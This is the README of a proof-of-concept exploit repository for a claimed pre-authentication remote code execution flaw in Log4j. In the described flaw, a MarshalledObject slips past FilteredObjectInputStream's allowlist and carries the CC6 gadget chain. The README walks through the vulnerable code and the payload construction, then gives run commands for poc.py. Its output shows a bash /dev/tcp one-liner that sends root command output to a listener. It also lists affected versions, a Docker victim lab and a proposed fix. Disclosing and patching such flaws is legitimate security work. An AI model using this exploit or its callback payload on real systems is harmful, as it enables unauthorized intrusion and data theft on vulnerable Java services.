Pre-auth RCE on any Java service that deserializes LogEvent through Log4j's FilteredObjectInputStream. No credentials needed.
Reported as GitHub issue #4255 on August 24, 2026.
What it does
Log4j ships FilteredObjectInputStream (FOIS) as a safe deserialization wrapper. It overrides resolveClass() with an allowlist so only org.apache.logging.log4j.*, java.lang.*, java.util.*, and a few explicit classes can pass through.
One of those explicit classes is java.rmi.MarshalledObject:
// SerializationUtil.java:81 public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList( "java.math.BigDecimal", "java.math.BigInteger", "java.rmi.MarshalledObject", // <-- the problem ...);
MarshalledObject.get() creates a new, plain ObjectInputStream internally. No filter. Anything wrapped inside a MarshalledObject deserializes with zero restrictions, completely bypassing the allowlist.
Log4j itself does this wrapping. LogEventProxy (the serialization proxy for every LogEvent) stores the event message in a MarshalledObject<Message> field. On deserialization, it calls marshalledMessage.get() to recover the message. That call creates the unfiltered stream. Game over.
How FOIS gets bypassed
The filter only sees top-level class descriptors in the stream:
// FilteredObjectInputStream.java:66-72 @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = SerializationUtil.stripArray(desc.getName()); if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) { throw new InvalidObjectException( "Class is not allowed for deserialization: " + name); } return super.resolveClass(desc); }
FOIS checks LogEventProxy (log4j package, allowed), MarshalledObject (in the allowlist), and byte[] (primitive). All pass. The CC6 gadget chain is hidden inside MarshalledObject.objBytes as raw bytes. FOIS never sees it.
When LogEventProxy.readResolve() runs:
// Log4jLogEvent.java:1265-1274 private Message message() { if (marshalledMessage != null) { try { return marshalledMessage.get(); // unfiltered ObjectInputStream } catch (final Exception ex) { // ignore me } } return new SimpleMessage(messageString); }
marshalledMessage.get() creates a plain ObjectInputStream, the CC6 chain triggers, and the command executes. The catch block swallows the ClassCastException when the gadget result isn't a Message, so the server responds normally. No error, no log entry.
For comparison, ObjectMessage does it correctly:
// ObjectMessage.java:132-136 private void readObject(ObjectInputStream in) throws ... { in.defaultReadObject(); obj = SerializationUtil.readWrappedObject(in); // creates a FILTERED inner stream }
LogEventProxy should use this same pattern but doesn't.
How the attack works
Attacker Target (FOIS-based receiver)
| |
| HTTP POST /log |
| Body: serialized LogEventProxy |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ log4j package
| ├── resolveClass(MarshalledObject) ✓ allowlist
| └── resolveClass(byte[]) ✓ primitive
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) NO FILTER
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
The server responds 200 and processes the event as if nothing happened.
Payload construction
The trick is getting the CC6 chain inside MarshalledObject.objBytes without it triggering early.
GadgetMessage implements Message and overrides writeReplace() to return the CC6 gadget:
- Build a
Log4jLogEventwithGadgetMessageas its message. - Serialize it.
LogEventProxy.writeObject()callsmarshall(message), which feedsGadgetMessageinto theMarshalledObjectconstructor. - The constructor serializes
GadgetMessage.writeReplace()fires and substitutes the CC6HashSet. - Now
MarshalledObject.objBytescontains the CC6 chain.GadgetMessagenever appears on the wire.
GadgetMessage is attacker-side only. It doesn't need to be on the target classpath.
Affected versions
| Component | Vulnerable |
|---|---|
log4j-api (FilteredObjectInputStream) |
2.11.0 to 2.24.3 |
log4j-core (LogEventProxy MarshalledObject field) |
2.8.0 to 2.24.3 |
Target also needs a gadget library on the classpath. This PoC uses Commons Collections 3.2.1 (CC6 chain).
Running it
Requirements: Java 11+, Maven, Python 3.10+, Docker (victim lab only)
Build and start the victim:
cd lab docker build -t fois-bypass-lab . docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab cd ..
Build the exploit (or let poc.py do it on first run):
cd exploit && mvn package -q -DskipTests && cd ..
Run:
# --lhost is your IP reachable from the target # for Docker lab on the same host, use the docker0 bridge IP python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
Output:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
Custom callback port:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444How poc.py works
- On first run, calls
mvn packageinexploit/to compilePayloadGeneratorand pull dependencies. Skips on subsequent runs. - Runs
java -cp exploit/target/... PayloadGenerator <cmd>on the host. Outputs a base64 serializedLogEventwith CC6 inside aMarshalledObject. - Opens a TCP listener on
--lport(default 9999) to receive command output. - Sends the raw bytes as HTTP POST to the target
/logendpoint. - The payload executes the command on the target and pipes output back to the listener via bash
/dev/tcp.
Files
log4j2-rce/
├── README.md
├── poc.py # exploit script
├── exploit/ # attacker (runs on host)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # Message with writeReplace()
└── lab/ # victim (Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # HTTP endpoint using FOIS
lab/ is the victim. HttpLogReceiver is an HTTP log receiver using FilteredObjectInputStream. Default config, no debug flags, no artificial weaknesses. Commons Collections on the classpath as a realistic transitive dependency.
exploit/ is the attacker tooling. PayloadGenerator builds the serialized payload on the host. Never touches the victim container.
Fix
- Remove
java.rmi.MarshalledObjectfromREQUIRED_JAVA_CLASSES. - Replace the
MarshalledObject<Message>field inLogEventProxywith abyte[]serialized viaSerializationUtil.writeWrappedObject()/readWrappedObject(). That's the same patternObjectMessagealready uses correctly.
Commons Collections versions
CC 3.2.1 and earlier: InvokerTransformer serializes freely. CC6 works as-is.
CC 3.2.2 (Nov 2015): Added a serialization guard in InvokerTransformer that blocks the chain unless org.apache.commons.collections.enableUnsafeSerialization is true.
The filter bypass exists regardless of CC version. CC's guard is defense-in-depth at the gadget layer, not a fix for the broken filter. Any other unguarded gadget library (Groovy, BeanShell, Spring Beans, etc.) enables the same attack.
Cleanup
docker rm -f fois-lab docker rmi fois-bypass-lab
Legal
For authorized testing only. Get written permission before running this against anything you don't own.